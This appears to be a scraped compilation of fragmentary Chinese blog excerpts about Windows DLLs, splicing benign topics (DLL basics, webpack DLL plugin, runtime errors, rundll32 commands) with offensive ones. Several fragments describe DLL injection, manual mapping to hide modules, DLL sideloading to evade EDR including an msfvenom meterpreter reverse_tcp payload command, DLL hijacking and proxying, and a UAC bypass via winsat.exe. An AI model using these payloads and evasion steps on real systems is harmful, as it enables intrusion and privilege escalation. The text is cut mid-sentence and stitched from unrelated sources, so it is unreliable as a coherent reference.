所谓的dll注入正是是让进程A强行加载程序B给定的a.dll,并执行程序B给定的a.dll里面的代码,从而 达到A进程控制B进程的目的 注意,程序B所给定的a.dll原先并不会被程序A主动加载,但是当程序 B通过某种手段让程序A“加载”a.dll后, 程序A将会执行a.dll里的代码,此时,a.dll就进入了程序A的地址空间,而a.dll模块的程序逻辑由程序B的开发者设计, 因此程序B的开发者可以对程序A API Hook); 五、dll注入的方法 一般情况下有如下dll注入方法: 1.修改注册表来注入dll; 2.使用CreateRemoteThread函数对运行中的进程注入dll; 3.使用SetWindowsHookEx 函数对应用程序挂钩(HOOK)迫使程序加载dll; 4.替换应用程序一定会使用的dll; 5.把dll作为调试器来注入; 6.用CreateProcess对子进程注入dll 7.修改被注入进程的exe的导入地址表 dll注入代码包含两部分,一部分是dll的源文件,另一部分是控制台程序的源代码。
前言 在之前的文章有介绍过so文件,那本篇文章就来介绍一些DLL文件吧! 提起DLL文件,大家肯定不会陌生,就算自己没编写生成过DLL文件,那也一定见过! 一个应用程序可有多个DLL文件,一个DLL文件也可能被几个应用程序所共用,这样的DLL文件被称为共享DLL文件。 ,应用程序通过按下所需DLL中特定的按钮,来调用DLL中这个按钮所代表的功能 在查阅资料时看到有篇文章是这样说的: Windows中有3个非常重要的底层DLL:Kernel32.dll、User32.dll 这样来看的话Windows和DLL文件确实关系密切的很,在底层代码上都有互动呢! 为什么要用DLL? 那么我们为什么要用DLL文件呢? 介绍一些关于DLL的大概知识,方便我们以后使用Unity的过程中遇到DLL文件时可以有个一知半解 那本篇文章对于DLL文件的介绍就到这里了,后面会写文章介绍怎样生成一个DLL文件和在Unity中调用DLL
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所谓的dll注入即是让程序A强行加载程序B给定的a.dll,并执行程序B给定的a.dll里面的代码。 注意,程序B所给定的a.dll原先并不会被程序A主动加载,但是当程序B通过某种手段让程序A“加载”a.dll后,程序A将会执行a.dll里的代码,此时,a.dll就进入了程序A的地址空间,而a.dll模块的程序逻辑由程序 dll注入实现过程 即 1.附加到目标/远程进程 2.在目标/远程进程内分配内存 3.将DLL文件路径,或者DLL文件,复制到目标/远程进程的内存空间 dll -o inject.dll 然后手写一个dll注入器: #include<Windows.h> #include<stdio.h> using namespace std; int main 之后跟DLL注入一般,使用VirtualAlloc和WriteProcessMemory将DLL写入目标进程。
---- DLL注入 前言 继续学习《逆向工程核心原理》,本篇笔记是第三部分:DLL注入,主要包括三种DLL注入、DLL卸载、修改PE、代码注入等内容 一、windows消息钩取 1、钩子 钩子(Hook DLL文件强制注入相应进程 3、键盘消息钩取 如下图所示: KeyHook.dll是个含有钩子过程的DLL文件 HookMain.exe是个加载KeyHook.dll,并使用SetWindowsHookEx 窗口 根据上一小节的地址10001020找到钩子 二、DLL注入 DLL注入:向运行中的其他进程强制插入特定的DLL文件,如下图所示 原理:从外部促使目标进程调用LoadLibrary \n", dwPID, DEF_DLL_NAME); return 0; } 四、通过修改PE加载DLL 上面是在运行的进程中注入DLL 本节直接修改目标程序的可执行文件,使其在运行时强制加载 DLL 目标:修改TextView.exe,使其运行时自动加载myhack3.dll 1、TextView.exe 这是个简单的文本查看程序 用PEView查看,可以看到4个本身就已经加载的DLL文件
介绍 什么是 DLL 根据MSDN,DLL 是一个库,其中包含可以由多个程序同时使用的代码和数据。 DLL 通常用于将程序模块化为单独的组件,如果模块存在,则每个模块都由主程序加载。 这要求我们在机器上拥有 dll 并要求我们知道 dll 的路径。 LoadLibraryA使我们能够将 dll 从磁盘加载到内存中。这个函数为我们完成了所有的工作,只需要我们将路径传递给 dll 就可以了。 手动映射 DLL 可以让您执行 LoadLibrary 将 dll 加载到另一个进程中所做的所有操作,而无需将 dll 显示在模块列表中,这意味着如果某些程序试图遍历所有加载的模块,他们将看不到您的 dll 然而,这对我们的最终目标不起作用,因为我们想使用此代码将 dll 注入另一个进程。由于我们将此 dll 注入另一个进程,因此该进程将不得不进行导入解析。
认识DLL库 什么是DLL DLL全称是动态链接库(Dynamic Link Library),是为软件在Windows中实现共享函数库的一种实现方式; 那么webpack中也有内置DLL的功能,它指的是可以将可以共享 /dll"), filename:"dll_[name].js", library:"dll_[name]" }, plugins 内有Dll文件和相应manifest.json文件。 但是现在有了dll_react,不再需要单独去打包它们,可以直接去引用dll_react即可: 第一步:通过DllReferencePlugin插件告知要使用的DLL库; 第二步:通过AddAssetHtmlPlugin /dll/dll_react.js") })
解决想法: 共用的函数重命名,虽然功能一样,但是名字不一样(简单粗暴,但是共用的函数多了就相当恶心,治标不治本) ; 将共用的函数打成动态链接库(lib、dll)。 分装DLL步骤 Step1. 新建win32的DLL项目 ? ? Step2 代码 就两个文件: 头文件: qShareDll.h 源文件: qShareDll.c Step2.1 头文件代码 #ifndef _Q_SHARE_DLL_H #define _Q_SHARE_DLL_H C编译器不会 _declspec(dllexport)说明该函数为导出函数 如果函数用_stdcall进行修饰,在动态引用的时候,要对函数指针也要进行_stdcall修饰 Next计划 [C-C++]DLL 之旅2 : 调用DLL(静态&动态加载)
DLL to C反编译工具,它可以将DLL转换成可编译的C/C++代码。当您丢失DLL的源代码时,您可以用DLL to C。能够把DLL转换回可编译的代码。 并且具有生成数据结构和反汇编代码段的功能。 它还可以生成函数关系树,然后可以方便地导出DLL中所需的指定特征。它可以将汇编代码转换成C代码,C代码也是可编译的。 看起来还不错。并且这还只是一个新出的工具,估计以后会进一步改进。 产品特点: 将DLL转换成可编译C/C++代码 为所有数据段生成数据结构 生成模块定义文件 拆解代码段 拆装结构模式 全模式拆卸 全结构拆卸 用注释模式拆解 精密模式拆卸 用动态模式初始化导入地址表 用静态模式初始化导入地址表 用直接地址初始化导入地址表 附带工具反编译文件分析器 生成函数关系树 导出所有函数 仅输出指定的函数 创建调试工具 动态对数函数调用 自动识别所有使用的函数参数和局部变量 在没有任何分析的情况下导出DLL 中的任何特征 C语言静态库函数的自动识别 将汇编代码转换为C代码 使用方法: 简单拆解代码: 反编译代码: 只需点击“开始转换”按钮,就可以得到DLL的可编译C/C++代码。
转载请注明:转载自 祥的博客 原文链接:http://blog.csdn.net/humanking7/article/details/78586478 ---- 接着上文《DLL之旅1 : 将程序打包成 DLL》,现在调用动态链接库有两种方法。 1.静态加载 需要文件(一个都不能少): 头文件: qShareDll.h 编译生成的lib文件 : TestDll.lib – 编译需要 编译生成的dll文件 : TestDll.dll – 运行需要 头文件: qShareDll.h #ifndef _Q_SHARE_DLL_H #define _Q_SHARE_DLL_H extern "C" _declspec(dllexport) double "); //用于加载dll //如果当初头文件中有 "_stdcall" 修饰 //typedef double(_stdcall *ADDPROC)(double, double);
120版本号代表是VC++2013的文件,安装一下VC++2013的运行库就行我做了个WinPE,在其中安装了https://www.falkon.org/ 浏览器,打开的时候报找不到MSVCR120.dll 图片安装了https://www.palemoon.org/,打开的时候报找不到VCRUNTIME140.dll、MSVCP140.dll图片找不到MSVCR120.dll就安装VC库,精确点讲,是C+ + 2013 C Runtime,即Visual C++ Redistributable Packages for Visual Studio 2013找不到VCRUNTIME140.dll、MSVCP140 .dll就安装Visual C++ Redistributable Packages for Visual Studio 2015,目前微软把VC2015-2022合并在一块了图片下载地址:https:
ClassLoader) I have searched the group but the closest I could find is that it is not possible to unload the DLL 解决方案 From one of the related SO questions, found this tutorial on DLL unloading.
DLL注入 DLL注入原理 dll注入实现过程 生成DLL 手写dll注入器: APC实现DLL注入 反射型dll注入 DarkLoadLibrary DLL注入原理 在Windows操作系统中,运行的每一个进程都生活在自己的程序空间中 所谓的dll注入即是让程序A强行加载程序B给定的a.dll,并执行程序B给定的a.dll里面的代码。 注意,程序B所给定的a.dll原先并不会被程序A主动加载,但是当程序B通过某种手段让程序A“加载”a.dll后,程序A将会执行a.dll里的代码,此时,a.dll就进入了程序A的地址空间,而a.dll模块的程序逻辑由程序 dll注入实现过程 1.附加到目标/远程进程 2.在目标/远程进程内分配内存 3.将DLL文件路径,或者DLL文件,复制到目标/远程进程的内存空间 4.控制进程运行DLL文件 dll的不二之选。
最后以一份表格总结了各类功能以及绕过效果: 我们可以看到,dll几乎绕过了所有的EDR,而这里的DLL指的便是Sideloading DLL。 Sideloading DLL最早应该是在一份APT报告中被提出来的,即DLL侧加载。 利用方法: 首先找到一个存在dll加载(或劫持)的程序,然后使用msf生成dll msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT= -f dll -a x86 > payload.dll 然后使用DLLSideloader来生成我们的转发dll,工具地址: https://github.com/SkiddieTech/DLLSideloader 然后生成所需的文件即可 Invoke-DLLSideLoad libcurl.dll payload.dll 然后执行exe文件,即可获取session。
这意味着,如果DLL包含任何异常,则不会为调用EXE提供任何保护。恶意攻击者可以通过使用诸如DLL劫持或DLL代理之类的方法来执行其恶意代码来利用这一事实。 攻击 DLL包含要由加载过程执行的代码,这会造成一种情况,即可以利用丢失的DLL或以不安全的方法实现的DLL来诱骗正在运行的系统执行恶意有效负载,在这种情况下,它利用本机DLL搜索顺序。 攻击利用过程 当我们确定某个进程按某个搜索顺序搜索DLL,并且缺少DLL 或者错误实现的DLL的进程之后,才能够进行下一步攻击 第一步:确定DLL 首先,我们从Sysinternals设置ProcMon 第二步:查找DLL和利用 在查找这些DLL时,得出的结论是Riched32.DLL是非本地DLL,因此,注册表中没有该DLL的默认搜索路径。但是如果我们正确配置它,系统最终也会加载它。 DLL命名为Riched32.dll放进Bginfo64.exe的DLL文件夹中。
Windows操作系统通过“DLL路径搜索目录顺序”和“Know DLLs注册表项”的机制来确定应用程序所要调用的DLL的路径,之后,应用程序就将DLL载入了自己的内存空间,执行相应的函数功能。 目录 6.PATH环境变量中列出的目录 Know DLLs注册表项 Know DLLs注册表项里的DLL列表在应用程序运行后就已经加入到了内核空间中,多个进程公用这些模块,必须具有非常高的权限才能修改。 导出表包含 DLL 导出到其他可执行文件的每个函数的名称,这些函数是 DLL 中的入口点;只有导出表中的导出函数可由其他可执行文件访问。DLL 中的任何其他函数都是 DLL 私有的。 dll转发的方式 dll转发顾名思义,就是要保留原来的dll,再生成一个恶意的dll执行代码,代码如下 // dllmain.cpp : 定义 DLL 应用程序的入口点。 转发对主程序的依赖非常的高,报错是CreateWindowsEx()返回值为空报错,当使用转发,让程序先走恶意的dll(SciLexer.dll),再走正常的dll的时候(SciLexer_re.dll
首先用visual studio写个dll。 // TestDll.cpp : Defines the entry point for the DLL application. // #include “stdafx.h” #include <iostream include <windows.h> int _tmain(int argc, _TCHAR* argv[]) { HMODULE hDll = ::LoadLibrary(TEXT(“TestDll.dll hDll, “HelloWorld”); pHello(); return 0; } 而python的调用也很简单: from ctypes import * fileName=”TestDll.dll
下面是修改IL文件然后重新生成DLL 的步骤,适用于dll文件没有源码,但是需要修改一点点的小改动 问:为啥不直接用dnspy进行修改? 运行反倒有问题,因此怀疑通过dnspy修改库最后的编译环境和原有库的编译环境不一致,考虑到dnspy自身需要.net4.0以上环境才能运行,所以这里采用修改IL文件的方法 微软的工具ildasm.exe:这个是把DLL net4.6版本,主要注意的是win10 安装.net2.0 和.net3.0 费劲,这两个版本的可以找个win7的虚拟机安装后查找 image.png 微软的工具ilasm.exe:这个是把IL文件重新生成DLL 的功能; image.png 利用dnspy 反编译看看dll的原代码是什么.net版本,也可以利用它进行源码分析,定位到要修改的位置 image.png 根据原dll的版本选择相应的ildasm.exe /resource:test.res /output:test.dll image.png 发布者:全栈程序员栈长,转载请注明出处:https://javaforall.cn/128695.html
dlg.Create(IDD_TESTPUSHSTREAMCLIENT_DIALOG, NULL); dlg.ShowWindow(SW_SHOW); } mfc项目配置 在导出函数文件中定义 #define DLL_MODULE mfc框架中app文件中 #ifndef DLL_MODULE CWinApp theApp; #endif
0x12 BypassUAC 下面我们来查找一下具有该权限的应用程序,并利用DLL劫持的方法来bypassUAC,关于DLL劫持的原理这里不再论述,网上已经有多相关的文章了。 我们最后选择了winsat.exe这个程序作为我们的劫持程序,下面就是查看该程序会加载的DLL。 ? 发现其会加载dxgi.dll。 下面就是需要编写我们的dll了,原理如下(图来自国外) ? 可以通过dllexp来查看dll内的函数 ? 你可以自行编写所需要的dll,也可以使用一些自动化工具来生成所需的dll。 : case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; } 但是这里又碰上了一个问题 /blob/master/dll_hijacking_candidates.csv ?
rundll32 直接调用dll函数,rundll32 dllpath,func param1 param2 … 执行步骤 它分析命令行。 当 <entrypoint> 函数返回时,Rundll.exe 将卸载 DLL 并退出。 功能: 关闭系统 命令列: rundll32.exe shell32.dll,Control_RunDLL 功能: 显示控制面板 命令列: rundll32.exe shell32.dll (同rundll32.exe shell32.dll,Control_RunDLL main.cpl @2) 命令列: rundll32.exe shell32.dll,Control_RunDLL .dll,Control_RunDLL themes.cpl 功能: 显示“桌面主题”选项面板 命令列: rundll32.exe shell32.dll,Control_RunDLL firewall.cpl
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